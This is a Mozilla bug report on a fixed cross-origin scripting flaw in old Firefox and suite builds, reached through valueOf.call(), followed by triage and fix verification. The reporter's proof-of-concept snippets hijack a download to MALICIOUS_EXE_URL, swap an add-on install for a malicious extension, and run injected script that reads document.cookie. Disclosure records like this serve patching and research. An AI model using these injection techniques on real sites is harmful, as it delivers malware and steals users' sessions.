Closed Bug 327194 Opened 15 years ago Closed 15 years ago

XSS by using .valueOf.call() or .valueOf.apply()

Categories

(Core :: Security, defect)

1.7 Branch
x86
Windows XP
defect
Not set
normal

Tracking

()

RESOLVED FIXED

People

(Reporter: moz_bug_r_a4, Assigned: dveditz)

References

Details

(Keywords: fixed1.7.13, Whiteboard: [sg:high])

Attachments

(6 files)

fx 1.0.x and suite 1.7.x are affected.  fx 1.5 and trunk are not affected.

On fx 1.0.x and suite 1.7.x, when calling obj.valueOf.call() or
obj.valueOf.apply() without argument, return value is valueOf's __parent__ that
is Object.prototype.  On fx 1.5 and trunk, return value is global object since
Bug 290488 was fixed.

There are ways to access other site's object (e.g. otherWin.focus, 
otherWin.history), thus an attacker can access other site's Object.prototype
(e.g. otherWin.focus.valueOf.call()).

For example:

An attacker could hijack software download process on a trusted site.

  Exploitable page:
  <script>
  function download() {
	...
  }
  </script>
  <a href="#" onclick="return download()">Download Now</a>

  Attacker:
  w = open(Exploitable page);
  o = w.focus.valueOf.call();
  o.download = function() { w.location = MALICIOUS_EXE_URL; return false; };


An attacker could hijack extension install process on https://addons.mozilla.org/.

  https://addons.mozilla.org/:
  <a href="..." onclick="return install(event,'Extension Name', '../images/default.png');">Install Now</a>

  Attacker:
  w = open(Exploitable page);
  o = w.focus.valueOf.call();
  o.install = function install( aEvent, extName, iconURL)  {   
	var params = new Array();
	params[extName] = {
		URL: MALICIOUS_EXTENSION_URL,
		IconURL: iconURL,
		toString: function () { return this.URL; }
	};
	InstallTrigger.install(params);
	return false;
  };


An attacker could run script in the context of other site.

  Exploitable page:
  <a href="javascript:void(0)" onclick="alert(location)">aaa</a>

  Attacker:
  w = open(Exploitable page);
  o = w.focus.valueOf.call();
  o.alert = o.eval;
  o.location = MALICIOUS_CODE; // e.g. steal cookie
Attached file exploitable page
Flags: blocking1.7.13+
Flags: blocking-aviary1.0.8+
Whiteboard: [sg:high] critical?
I can confirm this on 1.0.7, but it is fixed in 1.0.8 nightlies. Most likely by the "split-window alternative" fix bug 316589
Status: NEW → RESOLVED
Closed: 15 years ago
Depends on: 316589
Resolution: --- → FIXED
Whiteboard: [sg:high] critical? → [sg:high]
I can confirm this on:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060214 Firefox/1.0.8
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060214

I think "split-window alternative" does not fix this.
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Don't know what mrbkap and I were testing Tuesday, but with a 20060216 Firefox 1.0.8 build I can reproduce all these testcases. Clearing "fixed" keywords.
I can also reproduce in 2/7 (right after bug 316589 landed), 2/11 and 2/13

I have no clue why my 2/14 debug build was immune, if I didn't have witnesses I would think I was imagining it.
The patch from bug 290488 fixes this.
Depends on: 290488
No longer depends on: 316589
patch from bug 290488 checked into aviary101/moz17 branches
Status: REOPENED → RESOLVED
Closed: 15 years ago15 years ago
Resolution: --- → FIXED
Using Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060217 Firefox/1.0.8, I can confirm that Testcase 1 and Testcase 2 are fixed.  When I try to run Testcase 3 the browser gets in a weird state and i get a not found error. If is good enough to verify with just the two testcases, then I will add the keyword.

Using Mozilla 1.7.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060217, Testcase 1 is okay. Unable to run Testcase 2. Testcase 3 behaves the same way as it does in 1.0.8.
(In reply to comment #12)
> When I try to run Testcase 3 the browser gets in a weird state and i get a
> not found error. If is good enough to verify with just the two testcases,
> then I will add the keyword.

The fix makes w.focus.valueOf.call() return w instead of Object.prototype in w.
Thus, testcase 3 ends up loading the following url, when evaluating
|o.location = code;|.

https://recluse.mozilla.org/window.alert('cookie:%20'%20+%20document.cookie);

This is why you got a not found error.
If return values are *not* Object.prototype, all exploits in this bug never work.
v.fixed on 1.0.1 Aviary branch with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060220 Firefox/1.0.8, all testcases seem to pass.
Flags: testcase+
Just to clarify on the Mozilla suite side, Testcase 2 does pass for the suite. In my earlier testing I noted that the test case did not pass.

(In reply to comment #12)
> Using Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060217
> Firefox/1.0.8, I can confirm that Testcase 1 and Testcase 2 are fixed.  When I
> try to run Testcase 3 the browser gets in a weird state and i get a not found
> error. If is good enough to verify with just the two testcases, then I will add
> the keyword.
> 
> Using Mozilla 1.7.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13)
> Gecko/20060217, Testcase 1 is okay. Unable to run Testcase 2. Testcase 3
> behaves the same way as it does in 1.0.8.
> 

Group: security
Flags: in-testsuite+ → in-testsuite?
You need to log in before you can comment on or make changes to this bug.